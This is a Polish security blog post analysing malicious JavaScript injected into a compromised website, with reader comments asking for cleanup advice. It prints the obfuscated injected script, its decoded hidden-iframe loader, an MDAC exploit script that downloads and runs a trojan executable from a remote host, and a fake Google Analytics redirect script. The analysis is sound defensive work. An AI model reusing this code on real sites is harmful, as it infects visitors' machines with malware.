Kilka dni temu mój znajomy zwrócił się z prośbą o sprawdzenie jego strony internetowej gdyż dostał informacje, że jego strona zawiera złośliwy kod. Jak się okazało, korzystał z przekierowania w domenie prv.pl, do już konkretnej strony internetowej. Sama strona internetowa nie zawierała niczego podejrzanego, jednakże bo bliższym przyjrzeniu się linkowi na prv.pl okazało się, że na końcu strony www.jegostrona.prv.pl został dodany kod:
<Script>
<!–
var d=document;
eval( unescape( „%66%75%6e%63%74%69%6f%6e%20%63
%68%65%63%6b%5f%63%6f%6e%74%65%6e%74%28%29
%7b%20%76%61%72%20%69%20%3d%20%30%3b%77%68
%69%6c%65%28%64%6f%63%75%6d%65%6e%74%2e%67
%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61
%67%4e%61%6d%65%28%27%69%66%72%61%6d%65%27
%29%2e%6c%65%6e%67%74%68%29%7b%76%61%72%20
%65%6c%20%3d%20%64%6f%63%75%6d%65%6e%74%2e
%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54
%61%67%4e%61%6d%65%28%27%69%66%72%61%6d%65
%27%29%5b%69%5d%3b%69%66%28%20%28%65%6c%2e
%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%3d
%3d%27%6e%6f%6e%65%27%20%7c%7c%20%65%6c%2e
%73%74%79%6c%65%2e%76%69%73%69%62%69%6c%69
%74%79%20%3d%3d%27%68%69%64%64%65%6e%27%20
%7c%7c%20%28%65%6c%2e%77%69%64%74%68%3c%35
%20&&%20%65%6c%2e%68%65%69%67%68%74%3c%35
%29%29%20&&%20%65%6c%2e%6e%61%6d%65%21%3d
%27%63%31%27%20%29%20%7b%65%6c%2e%70%61%72
%65%6e%74%4e%6f%64%65%2e%72%65%6d%6f%76%65
%43%68%69%6c%64%28%65%6c%29%3b%7d%20%65%6c
%73%65%20%69%2b%2b%3b%7d%7d%63%68%65%63%6b
%5f%63%6f%6e%74%65%6e%74%28%29%3b%0d%0a%69
%66%20%28%21%6d%79%69%61%29%20%7b%20%64%2e
%77%72%69%74%65%28%27%3c%49%46%52%41%4d%45
%20%6e%61%6d%65%3d%63%31%20%73%72%63%3d%5c
%27%68%74%74%70%3a%2f%2f%6d%79%2d%70%61%67
%65%2d%64%65%2e%69%6e%66%6f%2f%69%6e%2e%63
%67%69%3f%32&%27%2b%4d%61%74%68%2e%72%6f%75
%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%31%37%33%39%31%30%29%2b%27%62%33
%38%66%63%66%30%30%39%31%5c%27%20%77%69%64
%74%68%3d%33%37%34%20%68%65%69%67%68%74%3d
%34%36%35%20%73%74%79%6c%65%3d%5c%27%64%69
%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e
%3c%2f%49%46%52%41%4d%45%20%3e%27%29%3b%7d
%76%61%72%20%6d%79%69%61%3d%74%72%75%65%3b” ));
var c1439772935;
//–>
</Script><script>check_content()</script>
Co po szybkim odkodowaniu dało:
function check_content(){
var i = 0;
while(document.getElementsByTagName(’iframe’).length){
var el = document.getElementsByTagName(’iframe’)[i];
if( (el.style.display==’none’ || el.style.visibility ==’hidden’ || (el.width<5 && el.height<5)) && el.name!=’c1′ )
{el.parentNode.removeChild(el);} else i++;}}check_content();
if (!myia) {
d.write('<IFRAME name=c1 src=\’hXXp://my-page-de.info/in.cgi?2&’+
Math.round(Math.random()*173910)+’b38fcf0091\’
width=374 height=465 style=\’display: none\’></IFRAME >’);
}
var myia=true;
Zasadniczo kod ten otwierał okno IFRAME z przekierowaniem do specjalnie skonstruowanej strony, gdzie skrypt sprawdza czy z danego adresu IP zostało już wykonane połączenie. Jeśli tak – jesteśmy przekierowani do pustej strony z komunikatem o błędzie. Jeśli natomiast nie odwiedziliśmy uprzednio tejże witryny – jest do nas przesyłany kod:
<iframe src =”hXXp://209.160.23.165/forum/index.php”
width=”1%”> </iframe>
<iframe src =”hXXp://kakashka.us/index.php”
width=”1%”> </iframe>
A tam znów sprawdzenie czy aby na pewno z tego IP kliknęło się w adres tylko raz (w celu utrudnienia analizy skryptów znajdujących się na stronach). Jeśli zostaliśmy przekierowani po raz pierwszy, jest wysyłany nowy kod:
<Script Language=’JavaScript’>
ci=bof();
function bof() {
var unix = 'ob’+’j’;
var koi = 'e’+’ct’;
var comf = (unix + koi);
var z = document.createElement(’object’);
z.setAttribute(’id’,’z’);
z.setAttribute(’classid’,’cl’+’si’+”d:BD”+”96C5″+’56-65A3-1’+”1D0-98″+’3A-00’+”C04″+’FC2’+”9E”+’36’);
try {
var ix =’xm’+’lh’+’ttp’;
var ui =’ms’+’xml2.’;
var tat =(ui+ix);
var q = z.CreateObject(tat,”);
var s = z.CreateObject(’Shel’+’l.Ap’+’pl’+’icati’+’on’,”);
var koi =’db.’;var uni =’am’;
var xio =’ado’;var nin =’stre’;
var res=(xio+koi+nin+uni);
var t = z.CreateObject(res,”);
var name = ’.//..//~t74.exe’;
try { t.type = 1;
q.open(’G’+”E”+’T’,’hXXp://209.160.23.165/forum/load.php?xpl=mdac’,false);
q.send(); t.open();
t.Write(q.responseBody);
var name = ’.//..//~tmp1174.exe’;
t.SaveToFile(name,2);
t.Close(); } catch(e) { }
try { s.ShellExecute(name); } catch(e) { }}
catch(e){}}
ci;
Czyli za pomocą kilku sztuczek doprowadzić do uruchomienia kodu z:
hXXp://209.160.23.165/forum/load.php?xpl=mdac
HTTP/1.1 200 OK
Date: Mon, 09 Jun 2008 21:44:51 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.6
Accept-Ranges: bytes
Content-Length: 44032
Content-Disposition: inline; filename=ldr.exe
Vary: Accept-Encoding,User-Agent
Content-Type: application/octet-stream
MZ…..
(ponownie sprawdza czy już raz z danego adresu zostało wykonane pobranie, jeśli tak – wyświetla pustą stronę).
A uzyskany plik to nic innego jak trojan. Tyle zachodu, tyle domen, adresów ip, tyle sprawdzeń, skryptów, przekierowań. Widać komuś zależy na tajemniczości :]
Po dokładniejszym przebadaniu sprawy, okazało się, że ów kod JavaScriptowy pojawią się w podobnych formach na różnorakich stronach, takich jak blogi WordPress, rozmaite panele logowań, sklepy internetowe i innej maści dynamiczne witryny. Wszystko wskazuje na to, że wykorzystywane są ataki zarówno SQL injection jak i brute force odgadujące łatwe hasła. Wpisując w google unikalny string: „c1439772935” możemy odnaleźć setki zarażonych stron.
Co jeszcze ciekawsze podczas dalszej analizy odkryłem, że większość tych stron zawiera kod:
<script src=”hXXp://analytics-google.info/urchin.js”></script>
– również strona mojego kolegi, od którego zaczęła się historia. Początkowo nie zwróciłem uwagi na stronę wyglądającą jak serwis Google Analytics. Tylko, że ta domena nie należy do firmy Google, została założona w kwietniu 2008 roku, a JavaScript znajdujący się w skrypcie urchin.js to dobrze znany kod z początku mojego badania :]
Dane WHOIS:
Analytics-google.info
Domain ID:D24333233-LRMS
Domain Name:ANALYTICS-GOOGLE.INFO
Created On:02-Apr-2008 19:41:19 UTC
Last Updated On:02-Jun-2008 05:57:28 UTC
Expiration Date:02-Apr-2009 19:41:19 UTC
Sponsoring Registrar:Directi Internet Solutions Pvt. Ltd. d/b/a PublicDomainRegistry.com (R159-LRMS)
Status:OK
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note – All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:contact@privacyprotect.org
Odwiedzając jedynie witrynę: Analytics-google.info – jesteśmy przekierowani do prawdziwego serwisu firmy Google, który znajduje się pod adresem: http://www.google.com/analytics/.
Podczas przekierowań, jesteśmy jednak przekierowywani na strony zawierające ciąg do wyszukania, przykładowo: hXXp://analytics-google.info/search/search.php?q=Buy%20Viagra, które to wykorzystywane są do serwowania różnorakich kampanii reklamowych!!!
.
.
I znów brnąc dalej. Za serwisem Alexa, możemy zauważyć , że strona analytics-google.info jest w miarę popularna (traffic rank = 185,556), a główni odwiedzający to kraje takie jak: Indie, USA, Tajlandia, Rosja i Turcja :]]]
.
.
.
A jak dokładnie przyjrzymy się plikowi urchin.js, to zauważymy, że zawiera on dwa kody. Jeden zakomentowany (zapewne starsza wersja):
.
var r=document.referrer,u=document.URL,t=””,q,que,se=”gb”;function f(str){z=”ion='”;d=”win”;c=”cat”;f7=str;b=”dow.lo”;g=”’;”;i=7;j=21;if (j-14==i) eval(d+b+c+z+f7+g);}if(r.indexOf(„google.”)!=-1){t=”q”;se=”google”;} if(r.indexOf(„msn.”)!=-1){t=”q”;se=”msn”;} if(r.indexOf(„yahoo.”)!=-1){t=”p”;se=”yahoo”;}if(r.indexOf(„yandex.ru.”)!=-1){t=”text”;se=”yandex.ru”;}
if(t.length&&((q=r.indexOf(„?”+t+”=”))!=-1||(q=r.indexOf(„&”+t+”=”))!=-1)){ que=r.substring(q+2+t.length).split(„&”)[0];if ((que.indexOf(’site:’)==-1) && (que.indexOf(’www.’)==-1)){f(„hXXp://analytics-google.info/search/search.php?q=”+que);}}
function check_content(){var i = 0;while(document.getElementsByTagName(’iframe’).length){var el = document.getElementsByTagName(’iframe’)[i];if( (el.style.display==’none’ || el.style.visibility ==’hidden’ || (el.width<5 && el.height<5)) && el.name!=’c1′ && el.name!=’c4′ ) {el.parentNode.removeChild(el);} else i++;}}check_content();
oraz wersję najnowszą (nieco zmodifikowaną):
var r=document.referrer,u=document.URL,t=””,q,se=”gb”;function f(str){z=”ion='”;d=”win”;c=”cat”;f7=str;b=”dow.lo”;g=”’;”;i=7;j=21;if (j-14==i) eval(d+b+c+z+f7+g);}if(r.indexOf(„google.”)!=-1){t=”q”;se=”google”;} if(r.indexOf(„msn.”)!=-1){t=”q”;se=”msn”;} if(r.indexOf(„yahoo.”)!=-1){t=”p”;se=”yahoo”;}if(r.indexOf(„yandex.ru.”)!=-1){t=”text”;se=”yandex.ru”;}
if(t.length&&((q=r.indexOf(„?”+t+”=”))!=-1||(q=r.indexOf(„&”+t+”=”))!=-1)){ f(„hXXp://analytics-google.info/search/search.php?q=”+r.substring(q+2+t.length).split(„&”)[0]);}
function check_content(){var i = 0;while(document.getElementsByTagName(’iframe’).length){var el = document.getElementsByTagName(’iframe’)[i];if( (el.style.display==’none’ || el.style.visibility ==’hidden’ || (el.width<5 && el.height<5)) && (el.name!=’c1′ || el.name!=’c4′) ) {el.parentNode.removeChild(el);} else i++;}}check_content();
Widać więc, że schemat działania przypomina coraz bardziej metodę, o której pisaliśmy jakiś czas temu, kiedy to atakowane były głównie strony z forum phpBB. Przestępcy nie zasypują botów w popiele i aktywnie walczą na każdym froncie.
3 komentarze do
9 września, 2008 o godzinie 12:29
witam, moja strona zostala podobnie zarazona, wyczyscilem kod z tych smieci jakie zostaly dopsiane, minelo 48h i znowu sie poawily – moze wiece co nalezy jescczze zmienic/zabezpieczyc aby bylo wszystko w porzadku?
9 września, 2008 o godzinie 13:32
1. Zmienić hasło do konta
FTP
.2. Upewnić się, że w systemie operacyjnym nie ma wirusa/trojana gdyż wtedy nawet zmiana hasła na nie wiele się zda – gdyż automatycznie trojan przekaże hasło dalej i znów podmieni stronę.
3. Spróbować skontaktować się z administratorem serwisu lub przejrzeć (jeśli jest taka możliwość) logi
FTP
.4. Jeśli to dynamiczna strona/aplikacja typu forum, CMS itd – sprawdzić czy posiada się aktualną wersje oprogramowania bo być może kod został dodany poprzez błąd w samej aplikacji
WWW
5. Poczytać u nas o drugiej części ataku: http://bothunters.pl/2008/07/03/kombinowanego-ataku-czesc-druga-czyli-o-93cbb7f271e2e60d4c7c2a5ac356c422
9 września, 2008 o godzinie 14:16
dziekuje za informacje